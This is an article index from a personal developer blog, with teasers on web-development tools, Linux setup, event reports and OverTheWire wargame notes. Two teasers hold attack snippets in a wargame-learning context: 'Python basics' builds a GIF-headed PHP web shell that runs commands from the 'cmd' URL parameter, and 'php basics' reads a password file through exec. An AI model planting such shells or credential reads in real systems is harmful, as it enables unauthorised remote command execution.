Latest articles

MozFest 2019 in London
Again, Mozilla Festival (MozFest) was an inspiring weekend event full of great conversations about web, artificial intelligence and many projects that [...]
[Event] AWS Summit Berlin 6-7 June 2018
I had an opportunity to attend AWS Summit Berlin 2018 which was interesting, but also one of the most “secure” conferences I have ever attended [...]
[Event] #causeascene Conference – Berlin – 4 June 2018
#CauseAScene is the strategic disruption of the status quo in tech organizations, communities, & events organized by Kim Crayton. The latest [...]
[Event] Berlin Hack & Tell #61 – “Revolutionary May Hacks” – 30 May 2018
On my first visit of c-base Raumstation I had the pleasure to participate at Berlin Hack and Tell and present a 5 min demo of the project with [...]
[Event] Dev Day 2018 Berlin – 26 May 2018
Dev Day Webpage is a developer’s conference in Berlin and Faro where developers can learn about the latest technologies. In Berlin the event was held [...]
[Event] ngGirls Workshop Berlin – 27 May 2018
The last Sunday in May was the ngGirls Workshop Day at the SinnerSchrader office in Berlin. I have applied as I had totally no experience with Angular, [...]
[Event] Ubuntu Installation Party – Bionic Beaver 18.04 LTS – 22 May 2018
Lesbian-Feminist University organized the »Ubuntu/Linux installation party« on Tuesday, May 22nd 2018, at club Tiffany (SKUC-Cultural center Q), Metelkova, [...]
[Event] Big Data Berlin #15 – 24 May 2018 – Photos
Link to event Livestream Video Nadine Schoene: 13:01 Chris Adams: 37:01 Jennifer Ahrens: 57:01 Talks: Elena Poughia: The social network: How I stopped [...]
[Event] Women Who Code – Berlin – 23 May 2018
Details about event: Talk 1 – Property Graph and Graph Analytics on top of a [...]
[Event] re:publica 2018 – Berlin – 2-4 May 2018
A playlist with highlights from re:publica 2018 – Europe’s biggest conference on topics concerning digitisation and society – happening between [...]
[Event] Peer-to-Peer Web Berlin – 5 May 2018
Here are some notes taken at the event and dealing with dat protocol, Beaker Browser, it’s installation and using dat in the console. Recording of [...]
[Event] Mozilla’s Global Sprint 2018 – 10-11 May 2018
Mozilla’s Global Sprint — open-source hackathon — was in progress on Thursday, May 10 and Friday, May 11. I have participated at Mozilla’s Berlin [...]
[Workshop] Node.js & Get Data from the Web @ LFU
The Node.js & Get Data from the Web workshop happened on 13. & 27. March 2018 at Cultural Center Q – Club Tiffany, Ljubljana, Slovenia. As [...]
Diversity tickets
Conference Date Location Application due Link GraphQL-Europe June 15, 2018 Berlin, Germany, EU June 2, 2018 (midnight UTC) Apply Closed for applications [...]
Scrape Google for images
GitHub $git clone "" Enter img-scrapers directory $cd img-scrapers/ Install npm modules $npm install Run [...]
Add color to the console in Node.js
Package on npm Installation npm install --save-dev colors Usage var colors = require('colors/safe'); var volume = " ▁ ▂ ▃ ▄ ▅ ▆ █" [...]
Node.js Basics
Create a node module new-module.js exports.myText = 'Hi from the module'; module-demo.js var myModule = require('./new-module'); [...]
cheerio – jQuery for the server
Fast, flexible & lean implementation of core jQuery designed specifically for the server. Cheerio on GitHub Installation npm install cheerio Usage [...]
axios – a promise based HTTP client
Axios is a promise based HTTP client for the browser and node.js. axios GitHub Installation npm install axios or add to the web page <script [...]
Robomongo / Robo 3T
Robomongo is a MongoDB management tool with integrated mongoDB shell where you can view, edit and delete documents. Download Install Extract [...]
httpie: HTTP GET, POST … requests in console github Install sudo apt install httpie Sample request http GET http://localhost:4000/api/users http GET :4000/api/users http GET [...]
Express and Express Generator
Install Express and Express generator npm install express --global npm install express-generator -g Check if it is succesfully installed: express --help [...]
Parse, validate, manipulate, and display dates and times in JavaScript. Moment.js docs moment().format('MMMM Do YYYY, h:mm:ss a'); // January 25th 2018, [...]
Testing Mobile Web site on Android
Setup on laptop Install Chrome Canary or Chromium Go to chrome://inspect/#devices and enable Discover USB devices Setup for mobile Put the phone it in [...]
Run a local server and make it available remotely
Run a local server cd /path/to/your-project-folder # python2 python -m SimpleHTTPServer 8080 # python3 python3 -m http.server 8080 Open a browser and visit [...]
Chrome Canary
Chrome Canary Dev Tools
Coverage Use Coverage to analyze how much code in the CSS, JS files was actually used on the page. It is updated in real time Go to Dev tools > Sources [...]
Install Win7, Win 8.1 and Win 10 on the Virtual machine
Download Windows Go to Windows Download Page And choose the preferred virtual machine and platform. You can choose between the following virtual machines: [...]
Web Accessibility
Testing guidelines Tab through the content to see if :focus is added Focus order is correct Add role if element is not semantic eg. div for button Add [...]
a11y command line tool for accessibility
Web page GitHub repository Installation npm install a11y You might need to install phantomjs beforehand if the installation fails. npm install [...]
Intro to Elasticsearch
GitHub Page Intro Download Elasticsearch tar examples are using version 5.4.1 Extract tar into directory Start elasticsearch [...]
Udacity: Responsive Web Design and Responsive Images
Simulators, Emulators and Real Devices In Chrome Dev Tools – Emulator icon Pixel density Emulate a custom device Select Edit from the Responsive [...]
JPG and PNG image optimization on Linux
JPG optimization Download jpegoptim from git clone Install jpegoptim ./configure make [...]
Udacity: Website Performance Optimization
Udacity Project Analysis tools [...]
Udacity: Browser Rendering Optimization
60 frames per second – approx 10-16 ms per frame Making a frame HTTP GET request Server sends HTML Browser parses HTML into DOM – PARSE HTML [...]
First step into Arduino and Node.js
Install Firmata on Arduino Open Arduino IDE – Select: File > Examples > Firmata > StandardFirmataPlus and Upload it to the Arduino Install [...]
Intro into testing
Various testing Unit testing – code unit – usually a function, usually run in a headless browser Integration testing – in real browsers, [...]
Location data Download GeoLite Country Binary / gzip and unpack it. Usage [...]
Local WordPress development on Ubuntu is super easy
If you are tired of changing localhost domain to the correct one before the siteis published this tutorial is for you. We will create a local domain so [...]
Force https in .htaccess
RewriteEngine On RewriteCond %{SERVER_PORT} 80 RewriteRule ^(.*)$$1 [R,L] Change to your domain name. More info
Convert online image to base64 code
Append the output of wget https://..../image.jpg && cat image.jpg | base64 to data:image/jpeg;base64,
simplehttpserver on npm Instalation npm install simplehttpserver -g Run the server simplehttpserver [directory] simplehttpserver . # current directory View [...]
Materialize CSS Framework
HEAD cheatsheet
Gitbook on Github Gitbook documentation Gitbook default theme npm install -g gitbook-cli gitbook init // initialize project in the current folder gitbook [...]
GSAP – JavaScript HTML5 animation
Official Page Cheat Sheet for GSAP Examples Simple Tween Repeat button Draggable objects Convert shape into path Morphing Paths
SVG animation
SVG animations with Examples
Resources Chris Coyier – The wonderful world of SVG Cheat Sheet SVG Optimizers SVG omg SVG Editor Helpers Cubic Bezier Better performance Easings CSS [...]
Brain food for digital Creatives – Vol 3 Designing for Mobile performance
Downloading files with wget
Download all .jpg files from a web page wget -r -A .jpg http://site.with.images/url/ Gather all links on the page After you gather all needed links in [...]
Mailchimp’s Style Guide
MailChimp’s Voice & Tone
Pug (ex. Jade)
Pug Documentation Pug Cli Setup npm init npm install gulp --save-dev npm install gulp-pug --save-dev npm install rename --save-dev Gulpfile.js const gulp = [...]
Speed up WordPress Optimization Guide
ACF Pro and JavaScript
Saving data to ACF Repeater Field with JavaScript – Tutorial
In this tutorial we will create a Custom post Type named Terms, use Advanced Custom Fields PRO (with ACF Repeater Field) to make a beautiful admin [...]
Web Server for Chrome
Serve Web Pages from Local Folder with Web Server for Chrome
Sometimes you need to have web pages on localhost in order to test them properly. Web Server for Chrome is a Chrome app that enables you to setup a local [...]
Vue.js – Beginners Guide
I am sure you have already heard about React, Angular and maybe Vue.js. Today you will get a glimpse into Vue.js and it’s amazing features. [...]
Scrapy: Scraping Web Sites with Python – Tutorial
Scrapy is a very powerful framework that enables you to crawl web pages and extract information you need. Installation pip install scrapy Start the project [...]
How to get the XPath in Chrome Browser
So you need an XPath for your script or scraper and you have Chrome installed. No problem! Just follow these two steps and you will have your XPath ready. [...]
Top Atom Plugins You Shouldn’t Live Without
atom-beautify atom-wordpress autoclose-html browser-plus color-picker emmet gitignore-snippets language-markdown markdown-preview-enhanced linter [...]
Access log
Access Log in Apache – Learn how to parse it
There are a couple of ways to parse Apache's access log. It's easiest to examine the file with goaccess or awk, but you can also use python!
Chrome headless
Headless Chrome is a way to run the Chrome browser in a headless environment. Installation chrome --headless --remote-debugging-port=9222 [...]
Basics of Wireshark
Installation sudo aptitude wireshark Enable capture a traffic as a non-root user using a wireshark setcap 'CAP_NET_RAW+eip CAP_NET_ADMIN+eip' [...]
Browse the web using VPN vpnbook – Setup
Here are simple steps that will enable you to browse anonymously / hide your real IP. Go to Download US1 OpenVPN [...]
Conversational blog
Install Anki Flashcards
Installation First download the Compiled package from the Anki official page and execute the following commands: Then execute the following code (make sure [...]
underscores – Best Starter theme for WordPress by Automattic
Custom Meta Box
Meta Box for WordPress Posts and WP REST API
What are Meta Boxes? Meta box is part of the entry form on the post/page editing admin page. In the image below we can see Title, Editor, Format and [...]
WordPress Taxonomy – Your Custom Categories and Tags
Taxonomies are generally based either on Categories (hierarhical) or on Tags (non-hierarhical) and can be included in default or custom post types. Default [...]
Child Themes in WordPress Make Me Happy
Child theme is a great option if you are using a theme downloaded from or another theme provider. A child theme needs to have: – their [...]
Custom Post Types
Post Types in WordPress: How to Generate Them
Custom post types are a cornerstone of WP REST API. Today we will learn which default post types are already included in WordPress, where we can find them [...]
WordPress Theme Unit Test Data
First steps into git
Git is a free and open source distributed version control system you can use with your projects. It also enables you to store your data in the remote [...]
Force https in .htaccess
RewriteEngine On RewriteCond %{HTTPS} !on RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} SOURCE
Lighthouse: Analyze your Web App or Web Page
Learn to use Google's Lighthouse - a tool for web app and web page analysis.
Simple web scraping in the browser
I am sure you have seen people (or even yourself) copying and pasting some data from the web, however with a little bit of “hacker” skills you [...]
The structure of Apache Server Log
Apache2 server log is located at /var/log/apache2/access.log. It displays entries like: - - [30/May/2017:11:36:50 +0200] "GET [...]
Don’t start a project without Gulp!
Resources Gulp Gulp Recepies Create a project Make a new folder and run the following code mkdir sample-project cd sample-project sudo npm init This will [...]
WordPress: export JS from php
Prepare the data in functions.php // functions.php wp_localize_script( 'main_js', // name of script name 'theData', // name of the object we want to output [...]
WordPress REST API – JavaScript & Backbone
Resources Backbone JavaScript Client Client enables all CRUD operations on the content in WP database. Below two examples are shown – reading and [...]
WordPress Permalinks on Ubuntu Apache Server
I have encountered this interesting issue with WordPress permalinks when I was installing WordPress locally. Everything was fine until I changed WordPress [...]
WordPress REST API with Read and Post Examples
Main Resources WP REST API REST API Handbook Nonce Nonce tips and tricks The WordPress REST API provides API endpoints for WordPress data types that allow [...]
git – Check and Change Remote Location
Did it ever happen to you that you have started a local git repository for functionality test or proof of concept and after a few days you had no idea [...]
JavaScript Promises
Promises sound nice, right (at least better than AJAX which always reminds me of cleaning)? And almost like in real life, JavaScript promises have three [...]
Progressive Web Apps Training by Google
Here is some candy for all of you who would like to learn more about Progressive Web Apps. Google preapred Progressive Web Apps Training training with lots [...]
Atom, please stop ignoring files in .gitignore!
You will need to modify config.cson. You can find it by going to the top menu bar: Edit > Config. Then set hideVcsIgnoredFiles to true. editor: [...]
Homepage Installation Refresh the package database. sudo apt-get update Install the apache2-utils package to get access to ApacheBench. apt-get install [...]
Measure Performance of Python script
Best option from timeit import default_timer as timer start = timer() # ... end = timer() print(end - start) Simple one import time start = time.time() [...]
Update Node
Check node version node -v Clear NPM’s cache: sudo npm cache clean -f Install a little helper called ‘n’ sudo npm install -g n Install [...]
Download all episodes of JavaScript Jabber Podcast
Podcast: JavaScript Jabber Extract all mp3 links on var mp3 = []; [...]
RegExp search and replace tips
Add https to links ^// https:// Add ‘,’ $\n ',\n'
Download a list of pdfs
To download a list of pdfs, gather the all in one txt file and run the following in the console: wget -i url-list.txt Wait until they are all downloaded. [...]
Ubuntu – issues after restart
Try to reboot into earlier linux image in GRUB. If it works, try to reinstall the faulty version // caution - not tested yet! + change the version! sudo [...]
Testing JavaScript performance
/* INITIALIZE ============== sudo npm i -g npm // update npm sudo npm update -g // update packages npm init // initiate project [...]
Codewars Leaderboard – Twitter, GitHub link extraction
/* Code parses leaderboard on and extracts users profiles */ var linkStorage = ''; [...]
Jared Spool – Parsing web pages with jQuery and Python
Today we will parse the library of videos on the page Workflow Login to the page Reveal all links in seminars Use jQuery to get all [...]
Best Practices in JavaScript Library Design
Video Writing Solid API Orthagonal code Perfom Universal Action CRUD your methods add/remove/delete/modify Fuel has the following on ecery object .all, [...]
Bower is a package manager for the web. For libraries and frameworks like Bootstrap, jQuery, Font-Awesome, D3, lodash, Vue… Search the List npm init [...]
JavaScript & jQuery snippets
Patterns Module Patterns Explained (source) Anonymous Closures (function () { // ... all vars and functions are in this scope only // still maintains [...]
First Steps into Babel
Source Install Packages sudo npm install --save-dev babel-cli babel-preset-env Installation for gulp sudo npm install --save-dev gulp sudo npm install [...]
Quick overview Assertions ok(state, message) equal(actual, expected, message) notEqual deepEqual notDeepEqual strictEqual // most useful === notStrictEqual [...]
CentOS7 Install Graphical User Interface
yum groupinstall "GNOME Desktop" "Graphical Administration Tools" ls -sf /lib/systemd/system/ /lib/systemd/system/
Install Wacom tablet
Instructions Prerequisites Before building, you’ll need to ensure the necessary dependencies have been installed on your system: sudo apt-get install [...]
Mounting Second Drive to root
First edit /etc/fstab /dev/sda1 /STORAGE ext4 acl,user_xattr 1 2 Then create new folder and change ownership: cd / sudo mkdir /STORAGE sudo chown -R [...]
Upgrade Ubuntu to new version in Software and Updates Select the Updates tab and then at the bottom of window, [...]
Install and Uninstall .deb Packages
Install .deb package sudo dpkg -i DEB_PACKAGE Uninstall .deb package sudo dpkg -r DEB_PACKAGE Reconfigure the package sudo dpkg-reconfigure PACKAGE_NAME
Share files between two Ubuntu computers
sudo apt-get install openssh-server Edit config sudo nano /etc/ssh/sshd_config Change Port 2222 // change from default 22 PermitRootLogin no [...]
Install Stacer on Ubuntu
Stacer is a nice tool for Linux System Optimization adn Monitoring. Instalation Download Stacer from GitHub. Choose .deb file for Ubuntu Then run the [...]
Install PyCharm on Ubuntu
sudo add-apt-repository ppa:mystic-mirage/pycharm && sudo apt-get update && sudo apt-get install pycharm-community Source
Install Atom on Ubuntu
sudo add-apt-repository ppa:webupd8team/atom sudo apt-get update sudo apt-get install atom
Export list of installed programs and install them on another computer (Ubuntu)
Step 1: Store the list of installed packages Run the following command on the source machine to store the installed packages names in ~/pkglist: sudo dpkg [...]
JavaScript Bookmarklet in Firefox
Load jQuery to the page [...]
Fix Error: No Bootable Device after Installation on Ubuntu
Enter into Boot menu with F2 – Boot Tab – make sure that Secure Boot is turned on – Security tab and look for “Select an UEFI file as [...]
Chroot Ubuntu from Live CD
sudo mount /dev/sdXY /mnt sudo mount --bind /dev /mnt/dev && sudo mount --bind /dev/pts /mnt/dev/pts && sudo mount --bind /proc /mnt/proc [...]
Embed the base64-encoded image in HTML
Add image as base64 encoded <img src="data:image/png;base64,___iVBORw0KGgoAAAANSUhEU___"> Get the encoded image Right Click on image > Inspect [...]
youtube-dl Video and Audio Download
YouTube-dl is a command-line program to download videos from and other video sites. We will look into it’s basic usage. Instalation sudo [...]
Use mysqlslap for SQL Query testing
Note: mysqlslap is installed together with mysql server Official description of mysqlslap mysqlslap is a diagnostic program designed to emulate client load [...]
Request headers
Sample User Agents
Get your user agent by entering the following code into browser console: navigator.userAgent Chromium on Ubuntu "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 [...]
Heimdall is a cross-platform open-source tool suite used to flash firmware (aka ROMs) onto Samsung mobile devices. [...]
Install Brackets on Ubuntu
sudo apt-add-repository ppa:webupd8team/brackets sudo apt-get update sudo apt-get install brackets
D3.js basics – Element selection
D3 is a superb JavaScript library for data vizualization. Here are some basics that will get you started. Selection of elements You can use CSS selectors [...]
Django and MySql
Connect Django with MySQL database
Install MySQL Client From source Download the source file mysqlclient-1.3.10.tar.gz. at mysqlclient and untar it. tar xf mysqlclient-1.3.10.tar.gz Then go [...]
Sonic Pi
Sonic Pi Installation on Ubuntu
Sonic Pi sudo add-apt-repository ppa:sonic-pi/ppa sudo apt-get update sudo apt-get install sonic-pi
Pip3 for Pycharm
sudo apt install python3-pip
Make a Pull Request on Github
Note: you need to have ssh key associated with github. Look into ssh post and check ssh keys on Fork the original project [...]
Install gulp.js on Ubuntu
Installation steps sudo npm install gulp-cli -g sudo npm install gulp -D touch gulpfile.js gulp --help Use gulp with your project Make sure you have files [...]
Install Node.js on Ubuntu
curl -sL | sudo -E bash - sudo apt install -y nodejs # or curl -sL | sudo -E bash [...]
Install LAMP server and phpmyadmin on Ubuntu
Install Lamp server sudo apt-get install lamp-server^ http://localhost/ or Restart server sudo /etc/init.d/apache2 restart Install [...]
sudo apt install tmux sudo yum install tmux To make aliases available in tmux open .bash_profile and add source ~/.bashrc
Generate ssh keys
ssh-keygen -t rsa -b 4096 ssh-copy-id -i ~/.ssh/ ssh Setup for github ls -al [...]
Django Girls Tutorial
Install mysqldump (Database backup program) on Ubuntu
sudo apt-get install mysql-client
Install wpscan on Ubuntu
sudo apt-get install libcurl4-openssl-dev libxml2 libxml2-dev libxslt1-dev ruby-dev build-essential libgmp-dev zlib1g-dev su -l cd ~ curl -sSL [...]
Install wp-cli
Project homepage: $ curl -O $ php wp-cli.phar [...]
Cheat Install
What you do when you are not sure of the command you are running especially in case of complex commands which uses a lot of options. We use man pages to [...]
Install CentOS 7 on VirtualBox
First enable/add NatNetwork and Host only Network in VirtualBox Interface File > Preferences > Network If Host-only adapter gives error on Windows go to [...]
Install VirtualBox 5.1 on Ubuntu 16.4
Option 1 with Guest additions Link to iso sudo apt-key adv --keyserver [...]
GIMP like Photoshop
Bandit all levels
Game Page – Level 0 Level Goal The goal of this level is for you to log into the game using SSH. The host to which you need to connect is [...]
Apache Spark
BerkeleyX CS105x on EdX Scalable, efficient analysis of Big Data. Week 1 [...]
Convert IP to dword 206 * 256 + 191 = * 256 + 158 = * 256 + 55 = 3468664375 dword number, any multiple of the quantity 4294967296 (2^564) [...]
CSS Attribute selector
HTML <td data-gender="male">...</td> CSS td[data-gender="male"] { ... } Jquery $('td:contains("male")') $(element).not(":contains('male')")
Gedit on steroids
Install Gedit sudo apt-get install gedit Install plugins sudo apt-get install gedit-plugins Run gedit from terminal: gedit filename.c Enable plugins: Edit [...]
Install R on Cloud 9 Download wget tar -xzf R-3.0.3.tar.gz cd R-3.0.3 Install sudo apt-get update [...]
Computational complexity When we talk about the complexity of an algorithm, we generally refer to the worst-case scenario (Big O) and the best case [...]
C basics Ctrl + L = Clear screen Get [...]
log16 = log16 / log2 = 4
Bash coloring
Plugin Old way
Python install tkinter
#python2 sudo apt-get install python-tk # python3 sudo apt-get install python3-tk
Python graphs with matplotlib
Install with pip pip install matplotlib # or pip3 install matplotlib #or sudo apt-get build-dep python-matplotlib # or git clone [...]
This wargame doesn’t require any knowledge about programming – just a bit of common sense and some knowledge about basic *nix commands. We had [...]
Python basics
Add magic numbers to the beginning of the file fh = open('magic_numbers_gif.php','w') fh.write('\x47\x49\x46\x38' + '<?php passthru($_GET["cmd"]); [...]
php basics Execute bash in php <?php echo exec("cat /etc/natas_webpass/natas13"); ?> [...]
from Crypto.Cipher import AES from Crypto.Cipher import XOR from Crypto.Hash import SHA256 from Crypto.Hash import MD5 import base64 import os # SHA - [...]
Bash Basics
#!/bin/bash Create a variable and echo it x1='Name' x2=3 echo "${x1}${x2}" # Name3 Shorten string echo "${original::-2}" If sentences # string starts with [...]
Fast charlist
Natas teaches the basics of serverside web-security. Each level of natas consists of its own website located at, [...]
Bandit Summary
Game Page For beginners to familiarize themselves with CLI and networking tools. Basic comands cat cat ./- # "-" means STDIN cat <- ls ls -la clear [...]